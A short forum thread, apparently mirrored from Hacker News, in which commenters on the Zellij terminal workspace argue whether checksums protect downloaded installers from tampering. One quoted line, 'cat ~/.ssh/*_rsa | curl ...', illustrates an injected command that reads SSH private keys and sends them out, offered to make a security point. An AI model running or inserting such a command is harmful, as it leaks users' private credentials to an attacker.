News for hackers. Stuff that matters.

A comment on Zellij: A terminal workspace with batteries included. Parent comment

Re:Zellij: A terminal workspace with batteries included by moondev on Friday August 12, 2022 @07:49PM (#32445348)
> Most easily because I can inject, "cat ~/.ssh/*_rsa | curl ..."

If you can inject that breaking TLS which secures everything on the internet, why can't you inject your own checksum on the "download page"?

[ Parent | on HN ]
Re:Zellij: A terminal workspace with batteries included by zbird on Friday August 12, 2022 @09:37PM (#32446087)
Checksums and the binaries can be stored in different places for redundancy.
[ Parent | on HN ]